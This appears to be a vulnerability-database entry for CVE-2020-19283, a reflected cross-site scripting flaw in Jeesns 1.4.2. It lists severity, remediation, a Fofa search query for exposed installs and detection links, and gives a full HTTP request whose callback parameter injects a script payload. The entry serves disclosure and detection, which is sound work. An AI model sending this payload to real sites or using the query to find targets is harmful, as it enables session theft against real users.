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CVE-2020-19283: Jeesns 1.4.2 - Cross-Site Scripting

TitleJeesns 1.4.2 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.01992
CVE IDCVE-2020-19283
CWE IDCWE-79
Fofa Querytitle="jeesns"
Tags cve cve2020 jeesns xss vuln

🔍 Vulnerability Description

Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /newVersion component and allows attackers to execute arbitrary web scripts or HTML.

🌐 HTTP Request

GET /newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-19283.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-19283.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A